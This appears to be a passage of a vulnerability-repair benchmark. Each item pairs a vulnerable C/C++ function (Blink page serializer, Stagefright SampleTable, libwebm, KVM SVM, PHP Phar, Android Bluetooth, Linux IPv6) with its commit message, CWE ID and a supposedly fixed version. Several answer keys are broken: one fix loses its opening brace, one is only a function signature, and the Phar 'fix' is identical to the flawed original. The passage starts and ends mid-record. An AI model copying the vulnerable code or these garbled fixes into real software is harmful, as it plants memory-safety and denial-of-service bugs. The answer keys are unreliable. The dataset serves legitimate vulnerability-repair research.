}
Commit Message: Revert 162155 "This review merges the two existing page serializ..."
Change r162155 broke the world even though it was landed using the CQ.
> This review merges the two existing page serializers, WebPageSerializerImpl and
> PageSerializer, into one, PageSerializer. In addition to this it moves all
> the old tests from WebPageNewSerializerTest and WebPageSerializerTest to the
> PageSerializerTest structure and splits out one test for MHTML into a new
> MHTMLTest file.
>
> Saving as 'Webpage, Complete', 'Webpage, HTML Only' and as MHTML when the
> 'Save Page as MHTML' flag is enabled now uses the same code, and should thus
> have the same feature set. Meaning that both modes now should be a bit better.
>
> Detailed list of changes:
>
> - PageSerializerTest: Prepare for more DTD test
> - PageSerializerTest: Remove now unneccesary input image test
> - PageSerializerTest: Remove unused WebPageSerializer/Impl code
> - PageSerializerTest: Move data URI morph test
> - PageSerializerTest: Move data URI test
> - PageSerializerTest: Move namespace test
> - PageSerializerTest: Move SVG Image test
> - MHTMLTest: Move MHTML specific test to own test file
> - PageSerializerTest: Delete duplicate XML header test
> - PageSerializerTest: Move blank frame test
> - PageSerializerTest: Move CSS test
> - PageSerializerTest: Add frameset/frame test
> - PageSerializerTest: Move old iframe test
> - PageSerializerTest: Move old elements test
> - Use PageSerizer for saving web pages
> - PageSerializerTest: Test for rewriting links
> - PageSerializer: Add rewrite link accumulator
> - PageSerializer: Serialize images in iframes/frames src
> - PageSerializer: XHTML fix for meta tags
> - PageSerializer: Add presentation CSS
> - PageSerializer: Rename out parameter
>
> BUG=
> [email protected]
>
> Review URL: https://codereview.chromium.org/68613003
[email protected]
Review URL: https://codereview.chromium.org/73673003
git-svn-id: svn://svn.chromium.org/blink/trunk@162156 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119 | PageSerializer::PageSerializer(Vector<SerializedResource>* resources, LinkLocalPathMap* urls, String directory)
PageSerializer::PageSerializer(Vector<SerializedResource>* resources)
: m_resources(resources)
, m_blankFrameCounter(0)
{
}
| 171,563 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: status_t SampleTable::setSyncSampleParams(off64_t data_offset, size_t data_size) {
if (mSyncSampleOffset >= 0 || data_size < 8) {
return ERROR_MALFORMED;
}
mSyncSampleOffset = data_offset;
uint8_t header[8];
if (mDataSource->readAt(
data_offset, header, sizeof(header)) < (ssize_t)sizeof(header)) {
return ERROR_IO;
}
if (U32_AT(header) != 0) {
return ERROR_MALFORMED;
}
mNumSyncSamples = U32_AT(&header[4]);
if (mNumSyncSamples < 2) {
ALOGV("Table of sync samples is empty or has only a single entry!");
}
uint64_t allocSize = mNumSyncSamples * sizeof(uint32_t);
if (allocSize > SIZE_MAX) {
return ERROR_OUT_OF_RANGE;
}
mSyncSamples = new uint32_t[mNumSyncSamples];
size_t size = mNumSyncSamples * sizeof(uint32_t);
if (mDataSource->readAt(mSyncSampleOffset + 8, mSyncSamples, size)
!= (ssize_t)size) {
return ERROR_IO;
}
for (size_t i = 0; i < mNumSyncSamples; ++i) {
mSyncSamples[i] = ntohl(mSyncSamples[i]) - 1;
}
return OK;
}
Commit Message: Fix several ineffective integer overflow checks
Commit edd4a76 (which addressed bugs 15328708, 15342615, 15342751) added
several integer overflow checks. Unfortunately, those checks fail to take into
account integer promotion rules and are thus themselves subject to an integer
overflow. Cast the sizeof() operator to a uint64_t to force promotion while
multiplying.
Bug: 20139950
(cherry picked from commit e2e812e58e8d2716b00d7d82db99b08d3afb4b32)
Change-Id: I080eb3fa147601f18cedab86e0360406c3963d7b
CWE ID: CWE-189 | status_t SampleTable::setSyncSampleParams(off64_t data_offset, size_t data_size) {
if (mSyncSampleOffset >= 0 || data_size < 8) {
return ERROR_MALFORMED;
}
mSyncSampleOffset = data_offset;
uint8_t header[8];
if (mDataSource->readAt(
data_offset, header, sizeof(header)) < (ssize_t)sizeof(header)) {
return ERROR_IO;
}
if (U32_AT(header) != 0) {
return ERROR_MALFORMED;
}
mNumSyncSamples = U32_AT(&header[4]);
if (mNumSyncSamples < 2) {
ALOGV("Table of sync samples is empty or has only a single entry!");
}
uint64_t allocSize = mNumSyncSamples * (uint64_t)sizeof(uint32_t);
if (allocSize > SIZE_MAX) {
return ERROR_OUT_OF_RANGE;
}
mSyncSamples = new uint32_t[mNumSyncSamples];
size_t size = mNumSyncSamples * sizeof(uint32_t);
if (mDataSource->readAt(mSyncSampleOffset + 8, mSyncSamples, size)
!= (ssize_t)size) {
return ERROR_IO;
}
for (size_t i = 0; i < mNumSyncSamples; ++i) {
mSyncSamples[i] = ntohl(mSyncSamples[i]) - 1;
}
return OK;
}
| 173,338 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: long long mkvparser::ReadUInt(IMkvReader* pReader, long long pos, long& len)
{
assert(pReader);
assert(pos >= 0);
int status;
len = 1;
unsigned char b;
status = pReader->Read(pos, 1, &b);
if (status < 0) //error or underflow
return status;
if (status > 0) //interpreted as "underflow"
return E_BUFFER_NOT_FULL;
if (b == 0) //we can't handle u-int values larger than 8 bytes
return E_FILE_FORMAT_INVALID;
unsigned char m = 0x80;
while (!(b & m))
{
m >>= 1;
++len;
}
long long result = b & (~m);
++pos;
for (int i = 1; i < len; ++i)
{
status = pReader->Read(pos, 1, &b);
if (status < 0)
{
len = 1;
return status;
}
if (status > 0)
{
len = 1;
return E_BUFFER_NOT_FULL;
}
result <<= 8;
result |= b;
++pos;
}
return result;
}
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
CWE ID: CWE-119 | long long mkvparser::ReadUInt(IMkvReader* pReader, long long pos, long& len)
int status;
//#ifdef _DEBUG
// long long total, available;
// status = pReader->Length(&total, &available);
// assert(status >= 0);
// assert((total < 0) || (available <= total));
// assert(pos < available);
// assert((available - pos) >= 1); //assume here max u-int len is 8
//#endif
len = 1;
unsigned char b;
status = pReader->Read(pos, 1, &b);
if (status < 0) // error or underflow
return status;
if (status > 0) // interpreted as "underflow"
return E_BUFFER_NOT_FULL;
if (b == 0) // we can't handle u-int values larger than 8 bytes
return E_FILE_FORMAT_INVALID;
unsigned char m = 0x80;
while (!(b & m)) {
m >>= 1;
++len;
}
//#ifdef _DEBUG
// assert((available - pos) >= len);
//#endif
long long result = b & (~m);
++pos;
for (int i = 1; i < len; ++i) {
status = pReader->Read(pos, 1, &b);
if (status < 0) {
len = 1;
return status;
}
if (status > 0) {
len = 1;
return E_BUFFER_NOT_FULL;
}
result <<= 8;
result |= b;
++pos;
}
return result;
}
| 174,434 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void enable_nmi_window(struct kvm_vcpu *vcpu)
{
struct vcpu_svm *svm = to_svm(vcpu);
if ((svm->vcpu.arch.hflags & (HF_NMI_MASK | HF_IRET_MASK))
== HF_NMI_MASK)
return; /* IRET will cause a vm exit */
/*
* Something prevents NMI from been injected. Single step over possible
* problem (IRET or exception injection or interrupt shadow)
*/
svm->nmi_singlestep = true;
svm->vmcb->save.rflags |= (X86_EFLAGS_TF | X86_EFLAGS_RF);
update_db_bp_intercept(vcpu);
}
Commit Message: KVM: svm: unconditionally intercept #DB
This is needed to avoid the possibility that the guest triggers
an infinite stream of #DB exceptions (CVE-2015-8104).
VMX is not affected: because it does not save DR6 in the VMCS,
it already intercepts #DB unconditionally.
Reported-by: Jan Beulich <[email protected]>
Cc: [email protected]
Signed-off-by: Paolo Bonzini <[email protected]>
CWE ID: CWE-399 | static void enable_nmi_window(struct kvm_vcpu *vcpu)
{
struct vcpu_svm *svm = to_svm(vcpu);
if ((svm->vcpu.arch.hflags & (HF_NMI_MASK | HF_IRET_MASK))
== HF_NMI_MASK)
return; /* IRET will cause a vm exit */
/*
* Something prevents NMI from been injected. Single step over possible
* problem (IRET or exception injection or interrupt shadow)
*/
svm->nmi_singlestep = true;
svm->vmcb->save.rflags |= (X86_EFLAGS_TF | X86_EFLAGS_RF);
}
| 166,569 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: PassRefPtr<RTCSessionDescription> RTCPeerConnection::localDescription(ExceptionCode& ec)
{
if (m_readyState == ReadyStateClosing || m_readyState == ReadyStateClosed) {
ec = INVALID_STATE_ERR;
return 0;
}
RefPtr<RTCSessionDescriptionDescriptor> descriptor = m_peerHandler->localDescription();
if (!descriptor)
return 0;
RefPtr<RTCSessionDescription> desc = RTCSessionDescription::create(descriptor.release());
return desc.release();
}
Commit Message: Unreviewed, rolling out r127612, r127660, and r127664.
http://trac.webkit.org/changeset/127612
http://trac.webkit.org/changeset/127660
http://trac.webkit.org/changeset/127664
https://bugs.webkit.org/show_bug.cgi?id=95920
Source/Platform:
* Platform.gypi:
* chromium/public/WebRTCPeerConnectionHandler.h:
(WebKit):
(WebRTCPeerConnectionHandler):
* chromium/public/WebRTCVoidRequest.h: Removed.
Source/WebCore:
* CMakeLists.txt:
* GNUmakefile.list.am:
* Modules/mediastream/RTCErrorCallback.h:
(WebCore):
(RTCErrorCallback):
* Modules/mediastream/RTCErrorCallback.idl:
* Modules/mediastream/RTCPeerConnection.cpp:
(WebCore::RTCPeerConnection::createOffer):
* Modules/mediastream/RTCPeerConnection.h:
(WebCore):
(RTCPeerConnection):
* Modules/mediastream/RTCPeerConnection.idl:
* Modules/mediastream/RTCSessionDescriptionCallback.h:
(WebCore):
(RTCSessionDescriptionCallback):
* Modules/mediastream/RTCSessionDescriptionCallback.idl:
* Modules/mediastream/RTCSessionDescriptionRequestImpl.cpp:
(WebCore::RTCSessionDescriptionRequestImpl::create):
(WebCore::RTCSessionDescriptionRequestImpl::RTCSessionDescriptionRequestImpl):
(WebCore::RTCSessionDescriptionRequestImpl::requestSucceeded):
(WebCore::RTCSessionDescriptionRequestImpl::requestFailed):
(WebCore::RTCSessionDescriptionRequestImpl::clear):
* Modules/mediastream/RTCSessionDescriptionRequestImpl.h:
(RTCSessionDescriptionRequestImpl):
* Modules/mediastream/RTCVoidRequestImpl.cpp: Removed.
* Modules/mediastream/RTCVoidRequestImpl.h: Removed.
* WebCore.gypi:
* platform/chromium/support/WebRTCVoidRequest.cpp: Removed.
* platform/mediastream/RTCPeerConnectionHandler.cpp:
(RTCPeerConnectionHandlerDummy):
(WebCore::RTCPeerConnectionHandlerDummy::RTCPeerConnectionHandlerDummy):
* platform/mediastream/RTCPeerConnectionHandler.h:
(WebCore):
(WebCore::RTCPeerConnectionHandler::~RTCPeerConnectionHandler):
(RTCPeerConnectionHandler):
(WebCore::RTCPeerConnectionHandler::RTCPeerConnectionHandler):
* platform/mediastream/RTCVoidRequest.h: Removed.
* platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.cpp:
* platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.h:
(RTCPeerConnectionHandlerChromium):
Tools:
* DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.cpp:
(MockWebRTCPeerConnectionHandler::SuccessCallbackTask::SuccessCallbackTask):
(MockWebRTCPeerConnectionHandler::SuccessCallbackTask::runIfValid):
(MockWebRTCPeerConnectionHandler::FailureCallbackTask::FailureCallbackTask):
(MockWebRTCPeerConnectionHandler::FailureCallbackTask::runIfValid):
(MockWebRTCPeerConnectionHandler::createOffer):
* DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.h:
(MockWebRTCPeerConnectionHandler):
(SuccessCallbackTask):
(FailureCallbackTask):
LayoutTests:
* fast/mediastream/RTCPeerConnection-createOffer.html:
* fast/mediastream/RTCPeerConnection-localDescription-expected.txt: Removed.
* fast/mediastream/RTCPeerConnection-localDescription.html: Removed.
* fast/mediastream/RTCPeerConnection-remoteDescription-expected.txt: Removed.
* fast/mediastream/RTCPeerConnection-remoteDescription.html: Removed.
git-svn-id: svn://svn.chromium.org/blink/trunk@127679 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | PassRefPtr<RTCSessionDescription> RTCPeerConnection::localDescription(ExceptionCode& ec)
| 170,336 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: PHP_METHOD(Phar, getStub)
{
size_t len;
char *buf;
php_stream *fp;
php_stream_filter *filter = NULL;
phar_entry_info *stub;
phar_entry_info *stub;
PHAR_ARCHIVE_OBJECT();
if (zend_parse_parameters_none() == FAILURE) {
return;
}
if (SUCCESS == zend_hash_find(&(phar_obj->arc.archive->manifest), ".phar/stub.php", sizeof(".phar/stub.php")-1, (void **)&stub)) {
if (phar_obj->arc.archive->fp && !phar_obj->arc.archive->is_brandnew && !(stub->flags & PHAR_ENT_COMPRESSION_MASK)) {
fp = phar_obj->arc.archive->fp;
} else {
if (!(fp = php_stream_open_wrapper(phar_obj->arc.archive->fname, "rb", 0, NULL))) {
zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "phar error: unable to open phar \"%s\"", phar_obj->arc.archive->fname);
return;
}
if (stub->flags & PHAR_ENT_COMPRESSION_MASK) {
char *filter_name;
if ((filter_name = phar_decompress_filter(stub, 0)) != NULL) {
filter = php_stream_filter_create(filter_name, NULL, php_stream_is_persistent(fp) TSRMLS_CC);
} else {
filter = NULL;
}
if (!filter) {
zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "phar error: unable to read stub of phar \"%s\" (cannot create %s filter)", phar_obj->arc.archive->fname, phar_decompress_filter(stub, 1));
return;
}
php_stream_filter_append(&fp->readfilters, filter);
}
}
if (!fp) {
zend_throw_exception_ex(spl_ce_RuntimeException, 0 TSRMLS_CC,
"Unable to read stub");
return;
}
php_stream_seek(fp, stub->offset_abs, SEEK_SET);
len = stub->uncompressed_filesize;
goto carry_on;
} else {
RETURN_STRINGL("", 0, 1);
}
}
Commit Message:
CWE ID: CWE-20 | PHP_METHOD(Phar, getStub)
{
size_t len;
char *buf;
php_stream *fp;
php_stream_filter *filter = NULL;
phar_entry_info *stub;
phar_entry_info *stub;
PHAR_ARCHIVE_OBJECT();
if (zend_parse_parameters_none() == FAILURE) {
return;
}
if (SUCCESS == zend_hash_find(&(phar_obj->arc.archive->manifest), ".phar/stub.php", sizeof(".phar/stub.php")-1, (void **)&stub)) {
if (phar_obj->arc.archive->fp && !phar_obj->arc.archive->is_brandnew && !(stub->flags & PHAR_ENT_COMPRESSION_MASK)) {
fp = phar_obj->arc.archive->fp;
} else {
if (!(fp = php_stream_open_wrapper(phar_obj->arc.archive->fname, "rb", 0, NULL))) {
zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "phar error: unable to open phar \"%s\"", phar_obj->arc.archive->fname);
return;
}
if (stub->flags & PHAR_ENT_COMPRESSION_MASK) {
char *filter_name;
if ((filter_name = phar_decompress_filter(stub, 0)) != NULL) {
filter = php_stream_filter_create(filter_name, NULL, php_stream_is_persistent(fp) TSRMLS_CC);
} else {
filter = NULL;
}
if (!filter) {
zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "phar error: unable to read stub of phar \"%s\" (cannot create %s filter)", phar_obj->arc.archive->fname, phar_decompress_filter(stub, 1));
return;
}
php_stream_filter_append(&fp->readfilters, filter);
}
}
if (!fp) {
zend_throw_exception_ex(spl_ce_RuntimeException, 0 TSRMLS_CC,
"Unable to read stub");
return;
}
php_stream_seek(fp, stub->offset_abs, SEEK_SET);
len = stub->uncompressed_filesize;
goto carry_on;
} else {
RETURN_STRINGL("", 0, 1);
}
}
| 165,296 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void btu_exec_tap_fd_read(void *p_param) {
struct pollfd ufd;
int fd = (int)p_param;
if (fd == INVALID_FD || fd != btpan_cb.tap_fd)
return;
for (int i = 0; i < PAN_POOL_MAX && btif_is_enabled() && btpan_cb.flow; i++) {
BT_HDR *buffer = (BT_HDR *)GKI_getpoolbuf(PAN_POOL_ID);
if (!buffer) {
BTIF_TRACE_WARNING("%s unable to allocate buffer for packet.", __func__);
break;
}
buffer->offset = PAN_MINIMUM_OFFSET;
buffer->len = GKI_get_buf_size(buffer) - sizeof(BT_HDR) - buffer->offset;
UINT8 *packet = (UINT8 *)buffer + sizeof(BT_HDR) + buffer->offset;
if (!btpan_cb.congest_packet_size) {
ssize_t ret = read(fd, btpan_cb.congest_packet, sizeof(btpan_cb.congest_packet));
switch (ret) {
case -1:
BTIF_TRACE_ERROR("%s unable to read from driver: %s", __func__, strerror(errno));
GKI_freebuf(buffer);
btsock_thread_add_fd(pan_pth, fd, 0, SOCK_THREAD_FD_RD, 0);
return;
case 0:
BTIF_TRACE_WARNING("%s end of file reached.", __func__);
GKI_freebuf(buffer);
btsock_thread_add_fd(pan_pth, fd, 0, SOCK_THREAD_FD_RD, 0);
return;
default:
btpan_cb.congest_packet_size = ret;
break;
}
}
memcpy(packet, btpan_cb.congest_packet, MIN(btpan_cb.congest_packet_size, buffer->len));
buffer->len = MIN(btpan_cb.congest_packet_size, buffer->len);
if (buffer->len > sizeof(tETH_HDR) && should_forward((tETH_HDR *)packet)) {
tETH_HDR hdr;
memcpy(&hdr, packet, sizeof(tETH_HDR));
buffer->len -= sizeof(tETH_HDR);
buffer->offset += sizeof(tETH_HDR);
if (forward_bnep(&hdr, buffer) != FORWARD_CONGEST)
btpan_cb.congest_packet_size = 0;
} else {
BTIF_TRACE_WARNING("%s dropping packet of length %d", __func__, buffer->len);
btpan_cb.congest_packet_size = 0;
GKI_freebuf(buffer);
}
ufd.fd = fd;
ufd.events = POLLIN;
ufd.revents = 0;
if (poll(&ufd, 1, 0) <= 0 || IS_EXCEPTION(ufd.revents))
break;
}
btsock_thread_add_fd(pan_pth, fd, 0, SOCK_THREAD_FD_RD, 0);
}
Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process
Bug: 28885210
Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360
Conflicts:
btif/co/bta_hh_co.c
btif/src/btif_core.c
Merge conflict resolution of ag/1161415 (referencing ag/1164670)
- Directly into mnc-mr2-release
CWE ID: CWE-284 | static void btu_exec_tap_fd_read(void *p_param) {
struct pollfd ufd;
int fd = (int)p_param;
if (fd == INVALID_FD || fd != btpan_cb.tap_fd)
return;
for (int i = 0; i < PAN_POOL_MAX && btif_is_enabled() && btpan_cb.flow; i++) {
BT_HDR *buffer = (BT_HDR *)GKI_getpoolbuf(PAN_POOL_ID);
if (!buffer) {
BTIF_TRACE_WARNING("%s unable to allocate buffer for packet.", __func__);
break;
}
buffer->offset = PAN_MINIMUM_OFFSET;
buffer->len = GKI_get_buf_size(buffer) - sizeof(BT_HDR) - buffer->offset;
UINT8 *packet = (UINT8 *)buffer + sizeof(BT_HDR) + buffer->offset;
if (!btpan_cb.congest_packet_size) {
ssize_t ret = TEMP_FAILURE_RETRY(read(fd, btpan_cb.congest_packet, sizeof(btpan_cb.congest_packet)));
switch (ret) {
case -1:
BTIF_TRACE_ERROR("%s unable to read from driver: %s", __func__, strerror(errno));
GKI_freebuf(buffer);
btsock_thread_add_fd(pan_pth, fd, 0, SOCK_THREAD_FD_RD, 0);
return;
case 0:
BTIF_TRACE_WARNING("%s end of file reached.", __func__);
GKI_freebuf(buffer);
btsock_thread_add_fd(pan_pth, fd, 0, SOCK_THREAD_FD_RD, 0);
return;
default:
btpan_cb.congest_packet_size = ret;
break;
}
}
memcpy(packet, btpan_cb.congest_packet, MIN(btpan_cb.congest_packet_size, buffer->len));
buffer->len = MIN(btpan_cb.congest_packet_size, buffer->len);
if (buffer->len > sizeof(tETH_HDR) && should_forward((tETH_HDR *)packet)) {
tETH_HDR hdr;
memcpy(&hdr, packet, sizeof(tETH_HDR));
buffer->len -= sizeof(tETH_HDR);
buffer->offset += sizeof(tETH_HDR);
if (forward_bnep(&hdr, buffer) != FORWARD_CONGEST)
btpan_cb.congest_packet_size = 0;
} else {
BTIF_TRACE_WARNING("%s dropping packet of length %d", __func__, buffer->len);
btpan_cb.congest_packet_size = 0;
GKI_freebuf(buffer);
}
ufd.fd = fd;
ufd.events = POLLIN;
ufd.revents = 0;
if (TEMP_FAILURE_RETRY(poll(&ufd, 1, 0)) <= 0 || IS_EXCEPTION(ufd.revents))
break;
}
btsock_thread_add_fd(pan_pth, fd, 0, SOCK_THREAD_FD_RD, 0);
}
| 173,447 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: int ip6_append_data(struct sock *sk, int getfrag(void *from, char *to,
int offset, int len, int odd, struct sk_buff *skb),
void *from, int length, int transhdrlen,
int hlimit, int tclass, struct ipv6_txoptions *opt, struct flowi6 *fl6,
struct rt6_info *rt, unsigned int flags, int dontfrag)
{
struct inet_sock *inet = inet_sk(sk);
struct ipv6_pinfo *np = inet6_sk(sk);
struct inet_cork *cork;
struct sk_buff *skb, *skb_prev = NULL;
unsigned int maxfraglen, fragheaderlen;
int exthdrlen;
int dst_exthdrlen;
int hh_len;
int mtu;
int copy;
int err;
int offset = 0;
__u8 tx_flags = 0;
if (flags&MSG_PROBE)
return 0;
cork = &inet->cork.base;
if (skb_queue_empty(&sk->sk_write_queue)) {
/*
* setup for corking
*/
if (opt) {
if (WARN_ON(np->cork.opt))
return -EINVAL;
np->cork.opt = kzalloc(opt->tot_len, sk->sk_allocation);
if (unlikely(np->cork.opt == NULL))
return -ENOBUFS;
np->cork.opt->tot_len = opt->tot_len;
np->cork.opt->opt_flen = opt->opt_flen;
np->cork.opt->opt_nflen = opt->opt_nflen;
np->cork.opt->dst0opt = ip6_opt_dup(opt->dst0opt,
sk->sk_allocation);
if (opt->dst0opt && !np->cork.opt->dst0opt)
return -ENOBUFS;
np->cork.opt->dst1opt = ip6_opt_dup(opt->dst1opt,
sk->sk_allocation);
if (opt->dst1opt && !np->cork.opt->dst1opt)
return -ENOBUFS;
np->cork.opt->hopopt = ip6_opt_dup(opt->hopopt,
sk->sk_allocation);
if (opt->hopopt && !np->cork.opt->hopopt)
return -ENOBUFS;
np->cork.opt->srcrt = ip6_rthdr_dup(opt->srcrt,
sk->sk_allocation);
if (opt->srcrt && !np->cork.opt->srcrt)
return -ENOBUFS;
/* need source address above miyazawa*/
}
dst_hold(&rt->dst);
cork->dst = &rt->dst;
inet->cork.fl.u.ip6 = *fl6;
np->cork.hop_limit = hlimit;
np->cork.tclass = tclass;
if (rt->dst.flags & DST_XFRM_TUNNEL)
mtu = np->pmtudisc == IPV6_PMTUDISC_PROBE ?
rt->dst.dev->mtu : dst_mtu(&rt->dst);
else
mtu = np->pmtudisc == IPV6_PMTUDISC_PROBE ?
rt->dst.dev->mtu : dst_mtu(rt->dst.path);
if (np->frag_size < mtu) {
if (np->frag_size)
mtu = np->frag_size;
}
cork->fragsize = mtu;
if (dst_allfrag(rt->dst.path))
cork->flags |= IPCORK_ALLFRAG;
cork->length = 0;
exthdrlen = (opt ? opt->opt_flen : 0);
length += exthdrlen;
transhdrlen += exthdrlen;
dst_exthdrlen = rt->dst.header_len - rt->rt6i_nfheader_len;
} else {
rt = (struct rt6_info *)cork->dst;
fl6 = &inet->cork.fl.u.ip6;
opt = np->cork.opt;
transhdrlen = 0;
exthdrlen = 0;
dst_exthdrlen = 0;
mtu = cork->fragsize;
}
hh_len = LL_RESERVED_SPACE(rt->dst.dev);
fragheaderlen = sizeof(struct ipv6hdr) + rt->rt6i_nfheader_len +
(opt ? opt->opt_nflen : 0);
maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen - sizeof(struct frag_hdr);
if (mtu <= sizeof(struct ipv6hdr) + IPV6_MAXPLEN) {
if (cork->length + length > sizeof(struct ipv6hdr) + IPV6_MAXPLEN - fragheaderlen) {
ipv6_local_error(sk, EMSGSIZE, fl6, mtu-exthdrlen);
return -EMSGSIZE;
}
}
/* For UDP, check if TX timestamp is enabled */
if (sk->sk_type == SOCK_DGRAM)
sock_tx_timestamp(sk, &tx_flags);
/*
* Let's try using as much space as possible.
* Use MTU if total length of the message fits into the MTU.
* Otherwise, we need to reserve fragment header and
* fragment alignment (= 8-15 octects, in total).
*
* Note that we may need to "move" the data from the tail of
* of the buffer to the new fragment when we split
* the message.
*
* FIXME: It may be fragmented into multiple chunks
* at once if non-fragmentable extension headers
* are too large.
* --yoshfuji
*/
cork->length += length;
if (length > mtu) {
int proto = sk->sk_protocol;
if (dontfrag && (proto == IPPROTO_UDP || proto == IPPROTO_RAW)){
ipv6_local_rxpmtu(sk, fl6, mtu-exthdrlen);
return -EMSGSIZE;
}
if (proto == IPPROTO_UDP &&
(rt->dst.dev->features & NETIF_F_UFO)) {
err = ip6_ufo_append_data(sk, getfrag, from, length,
hh_len, fragheaderlen,
transhdrlen, mtu, flags, rt);
if (err)
goto error;
return 0;
}
}
if ((skb = skb_peek_tail(&sk->sk_write_queue)) == NULL)
goto alloc_new_skb;
while (length > 0) {
/* Check if the remaining data fits into current packet. */
copy = (cork->length <= mtu && !(cork->flags & IPCORK_ALLFRAG) ? mtu : maxfraglen) - skb->len;
if (copy < length)
copy = maxfraglen - skb->len;
if (copy <= 0) {
char *data;
unsigned int datalen;
unsigned int fraglen;
unsigned int fraggap;
unsigned int alloclen;
alloc_new_skb:
/* There's no room in the current skb */
if (skb)
fraggap = skb->len - maxfraglen;
else
fraggap = 0;
/* update mtu and maxfraglen if necessary */
if (skb == NULL || skb_prev == NULL)
ip6_append_data_mtu(&mtu, &maxfraglen,
fragheaderlen, skb, rt);
skb_prev = skb;
/*
* If remaining data exceeds the mtu,
* we know we need more fragment(s).
*/
datalen = length + fraggap;
if (datalen > (cork->length <= mtu && !(cork->flags & IPCORK_ALLFRAG) ? mtu : maxfraglen) - fragheaderlen)
datalen = maxfraglen - fragheaderlen - rt->dst.trailer_len;
if ((flags & MSG_MORE) &&
!(rt->dst.dev->features&NETIF_F_SG))
alloclen = mtu;
else
alloclen = datalen + fragheaderlen;
alloclen += dst_exthdrlen;
if (datalen != length + fraggap) {
/*
* this is not the last fragment, the trailer
* space is regarded as data space.
*/
datalen += rt->dst.trailer_len;
}
alloclen += rt->dst.trailer_len;
fraglen = datalen + fragheaderlen;
/*
* We just reserve space for fragment header.
* Note: this may be overallocation if the message
* (without MSG_MORE) fits into the MTU.
*/
alloclen += sizeof(struct frag_hdr);
if (transhdrlen) {
skb = sock_alloc_send_skb(sk,
alloclen + hh_len,
(flags & MSG_DONTWAIT), &err);
} else {
skb = NULL;
if (atomic_read(&sk->sk_wmem_alloc) <=
2 * sk->sk_sndbuf)
skb = sock_wmalloc(sk,
alloclen + hh_len, 1,
sk->sk_allocation);
if (unlikely(skb == NULL))
err = -ENOBUFS;
else {
/* Only the initial fragment
* is time stamped.
*/
tx_flags = 0;
}
}
if (skb == NULL)
goto error;
/*
* Fill in the control structures
*/
skb->ip_summed = CHECKSUM_NONE;
skb->csum = 0;
/* reserve for fragmentation and ipsec header */
skb_reserve(skb, hh_len + sizeof(struct frag_hdr) +
dst_exthdrlen);
if (sk->sk_type == SOCK_DGRAM)
skb_shinfo(skb)->tx_flags = tx_flags;
/*
* Find where to start putting bytes
*/
data = skb_put(skb, fraglen);
skb_set_network_header(skb, exthdrlen);
data += fragheaderlen;
skb->transport_header = (skb->network_header +
fragheaderlen);
if (fraggap) {
skb->csum = skb_copy_and_csum_bits(
skb_prev, maxfraglen,
data + transhdrlen, fraggap, 0);
skb_prev->csum = csum_sub(skb_prev->csum,
skb->csum);
data += fraggap;
pskb_trim_unique(skb_prev, maxfraglen);
}
copy = datalen - transhdrlen - fraggap;
if (copy < 0) {
err = -EINVAL;
kfree_skb(skb);
goto error;
} else if (copy > 0 && getfrag(from, data + transhdrlen, offset, copy, fraggap, skb) < 0) {
err = -EFAULT;
kfree_skb(skb);
goto error;
}
offset += copy;
length -= datalen - fraggap;
transhdrlen = 0;
exthdrlen = 0;
dst_exthdrlen = 0;
/*
* Put the packet on the pending queue
*/
__skb_queue_tail(&sk->sk_write_queue, skb);
continue;
}
if (copy > length)
copy = length;
if (!(rt->dst.dev->features&NETIF_F_SG)) {
unsigned int off;
off = skb->len;
if (getfrag(from, skb_put(skb, copy),
offset, copy, off, skb) < 0) {
__skb_trim(skb, off);
err = -EFAULT;
goto error;
}
} else {
int i = skb_shinfo(skb)->nr_frags;
struct page_frag *pfrag = sk_page_frag(sk);
err = -ENOMEM;
if (!sk_page_frag_refill(sk, pfrag))
goto error;
if (!skb_can_coalesce(skb, i, pfrag->page,
pfrag->offset)) {
err = -EMSGSIZE;
if (i == MAX_SKB_FRAGS)
goto error;
__skb_fill_page_desc(skb, i, pfrag->page,
pfrag->offset, 0);
skb_shinfo(skb)->nr_frags = ++i;
get_page(pfrag->page);
}
copy = min_t(int, copy, pfrag->size - pfrag->offset);
if (getfrag(from,
page_address(pfrag->page) + pfrag->offset,
offset, copy, skb->len, skb) < 0)
goto error_efault;
pfrag->offset += copy;
skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);
skb->len += copy;
skb->data_len += copy;
skb->truesize += copy;
atomic_add(copy, &sk->sk_wmem_alloc);
}
offset += copy;
length -= copy;
